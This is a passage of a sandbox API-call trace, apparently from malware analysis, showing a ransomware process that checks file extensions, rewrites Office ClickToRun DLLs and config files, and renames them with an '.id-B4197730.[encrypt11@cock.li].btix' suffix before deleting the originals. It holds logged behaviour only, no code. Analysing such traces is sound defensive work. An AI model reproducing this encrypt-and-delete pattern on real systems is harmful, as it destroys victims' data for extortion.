lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0055.444] lstrlenW (lpString=".ppt") returned 4 [0055.444] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0055.444] lstrlenW (lpString=".zip") returned 4 [0055.444] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.444] lstrlenW (lpString=".rar") returned 4 [0055.444] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.444] lstrlenW (lpString=".bz2") returned 4 [0055.444] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.444] lstrlenW (lpString=".7z") returned 3 [0055.445] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0055.445] lstrlenW (lpString=".dbf") returned 4 [0055.445] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0055.445] lstrlenW (lpString=".1cd") returned 4 [0055.445] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.445] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0055.445] lstrlenW (lpString=".jpg") returned 4 [0055.445] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0055.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0055.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc64 | out: lpNewFilePointer=0x0) returned 1 [0055.446] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.446] ReadFile (in: hFile=0x38c, lpBuffer=0x3b14058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b14058*, lpNumberOfBytesRead=0x302fc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.667] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x302fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.668] ReadFile (in: hFile=0x38c, lpBuffer=0x3b54058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b54058*, lpNumberOfBytesRead=0x302fc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.734] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x302fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0055.735] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x302fc24 | out: lpNewFilePointer=0x0) returned 1 [0055.735] ReadFile (in: hFile=0x38c, lpBuffer=0x3b94058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x302fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b94058*, lpNumberOfBytesRead=0x302fc30*=0x40000, lpOverlapped=0x0) returned 1 [0055.748] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.748] WriteFile (in: hFile=0x38c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x302fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0055.767] SetEndOfFile (hFile=0x38c) returned 1 [0055.767] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x42a3ed0 [0055.771] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fc74 | out: lpNewFilePointer=0x0) returned 1 [0055.771] WriteFile (in: hFile=0x38c, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x302fc80*=0x40000, lpOverlapped=0x0) returned 1 [0055.773] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x302fc74 | out: lpNewFilePointer=0x0) returned 1 [0055.773] WriteFile (in: hFile=0x38c, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x302fc80*=0x40000, lpOverlapped=0x0) returned 1 [0055.774] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x302fc74 | out: lpNewFilePointer=0x0) returned 1 [0055.774] WriteFile (in: hFile=0x38c, lpBuffer=0x42a3ed0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x302fc80, lpOverlapped=0x0 | out: lpBuffer=0x42a3ed0*, lpNumberOfBytesWritten=0x302fc80*=0x40000, lpOverlapped=0x0) returned 1 [0056.068] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0056.069] CloseHandle (hObject=0x38c) returned 1 [0056.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0056.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0056.460] lstrlenW (lpString=".doc") returned 4 [0056.460] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.460] lstrlenW (lpString=".docx") returned 5 [0056.460] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0056.460] lstrlenW (lpString=".pdf") returned 4 [0056.460] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.460] lstrlenW (lpString=".xls") returned 4 [0056.460] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.460] lstrlenW (lpString=".xlsx") returned 5 [0056.460] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0056.460] lstrlenW (lpString=".ppt") returned 4 [0056.460] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0056.460] lstrlenW (lpString=".zip") returned 4 [0056.460] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.460] lstrlenW (lpString=".rar") returned 4 [0056.460] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.460] lstrlenW (lpString=".bz2") returned 4 [0056.460] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.460] lstrlenW (lpString=".7z") returned 3 [0056.460] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0056.461] lstrlenW (lpString=".dbf") returned 4 [0056.461] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0056.461] lstrlenW (lpString=".1cd") returned 4 [0056.461] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned 81 [0056.461] lstrlenW (lpString=".jpg") returned 4 [0056.461] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.462] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.462] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0056.462] GetLastError () returned 0x0 [0056.462] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xdc4b8, lpOverlapped=0x0) returned 1 [0056.563] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xdc4c0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xdc4c0, lpOverlapped=0x0) returned 1 [0056.575] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.575] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf2, lpOverlapped=0x0) returned 1 [0056.575] SetEndOfFile (hFile=0x3a4) returned 1 [0056.575] CloseHandle (hObject=0x3a4) returned 1 [0056.937] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.937] SetEndOfFile (hFile=0x388) returned 1 [0056.944] CloseHandle (hObject=0x388) returned 1 [0056.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.944] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 1 [0056.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0056.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0056.944] lstrlenW (lpString=".doc") returned 4 [0056.944] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.945] lstrlenW (lpString=".docx") returned 5 [0056.945] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0056.945] lstrlenW (lpString=".pdf") returned 4 [0056.945] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.945] lstrlenW (lpString=".xls") returned 4 [0056.945] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.945] lstrlenW (lpString=".xlsx") returned 5 [0056.945] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0056.945] lstrlenW (lpString=".ppt") returned 4 [0056.945] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0056.945] lstrlenW (lpString=".zip") returned 4 [0056.945] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.945] lstrlenW (lpString=".rar") returned 4 [0056.945] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.945] lstrlenW (lpString=".bz2") returned 4 [0056.945] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.945] lstrlenW (lpString=".7z") returned 3 [0056.945] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0056.945] lstrlenW (lpString=".dbf") returned 4 [0056.945] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0056.945] lstrlenW (lpString=".1cd") returned 4 [0056.945] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0056.945] lstrlenW (lpString=".jpg") returned 4 [0056.945] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.946] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0056.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0056.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe")) returned 1 [0056.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0056.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0056.947] lstrlenW (lpString=".doc") returned 4 [0056.947] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0056.947] lstrlenW (lpString=".docx") returned 5 [0056.947] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0056.947] lstrlenW (lpString=".pdf") returned 4 [0056.947] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0056.947] lstrlenW (lpString=".xls") returned 4 [0056.947] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0056.947] lstrlenW (lpString=".xlsx") returned 5 [0056.947] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0056.948] lstrlenW (lpString=".ppt") returned 4 [0056.948] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0056.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0056.948] lstrlenW (lpString=".zip") returned 4 [0056.948] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0056.948] lstrlenW (lpString=".rar") returned 4 [0056.948] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0056.948] lstrlenW (lpString=".bz2") returned 4 [0056.948] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0056.948] lstrlenW (lpString=".7z") returned 3 [0056.948] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0056.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0056.948] lstrlenW (lpString=".dbf") returned 4 [0056.948] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0056.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0056.948] lstrlenW (lpString=".1cd") returned 4 [0056.948] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0056.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0056.948] lstrlenW (lpString=".jpg") returned 4 [0056.948] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0056.948] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.948] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0056.949] GetLastError () returned 0x0 [0056.949] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0057.600] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0057.617] ReadFile (in: hFile=0x388, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.617] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0xf4, lpOverlapped=0x0) returned 1 [0057.617] SetEndOfFile (hFile=0x370) returned 1 [0057.618] CloseHandle (hObject=0x370) returned 1 [0057.981] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.982] SetEndOfFile (hFile=0x388) returned 1 [0057.988] CloseHandle (hObject=0x388) returned 1 [0057.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0057.989] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 1 [0057.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0057.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0057.989] lstrlenW (lpString=".doc") returned 4 [0057.989] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.989] lstrlenW (lpString=".docx") returned 5 [0057.989] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0057.989] lstrlenW (lpString=".pdf") returned 4 [0057.989] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.989] lstrlenW (lpString=".xls") returned 4 [0057.989] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.990] lstrlenW (lpString=".xlsx") returned 5 [0057.990] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0057.990] lstrlenW (lpString=".ppt") returned 4 [0057.990] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0057.990] lstrlenW (lpString=".zip") returned 4 [0057.990] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.990] lstrlenW (lpString=".rar") returned 4 [0057.990] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.990] lstrlenW (lpString=".bz2") returned 4 [0057.990] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.990] lstrlenW (lpString=".7z") returned 3 [0057.990] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0057.990] lstrlenW (lpString=".dbf") returned 4 [0057.990] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0057.990] lstrlenW (lpString=".1cd") returned 4 [0057.990] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0057.990] lstrlenW (lpString=".jpg") returned 4 [0057.990] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0059.663] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.663] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0059.663] GetLastError () returned 0x0 [0059.663] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x902bb, lpOverlapped=0x0) returned 1 [0059.780] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x902c0, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x902c0, lpOverlapped=0x0) returned 1 [0059.789] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0059.789] WriteFile (in: hFile=0x370, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x104, lpOverlapped=0x0) returned 1 [0059.789] SetEndOfFile (hFile=0x370) returned 1 [0059.789] CloseHandle (hObject=0x370) returned 1 [0059.799] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0059.799] SetEndOfFile (hFile=0x398) returned 1 [0059.804] CloseHandle (hObject=0x398) returned 1 [0059.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0059.804] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 1 [0059.804] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0059.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0059.805] lstrlenW (lpString=".doc") returned 4 [0059.805] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString=".docx") returned 5 [0059.805] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0059.805] lstrlenW (lpString=".pdf") returned 4 [0059.805] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString=".xls") returned 4 [0059.805] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString=".xlsx") returned 5 [0059.805] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0059.805] lstrlenW (lpString=".ppt") returned 4 [0059.805] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0059.805] lstrlenW (lpString=".zip") returned 4 [0059.805] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString=".rar") returned 4 [0059.805] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString=".bz2") returned 4 [0059.805] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0059.805] lstrlenW (lpString=".7z") returned 3 [0059.805] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0059.805] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 104 [0059.805] lstrlenW (lpString=".dbf") returned 4 [0059.805] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0059.805] lstrlenW 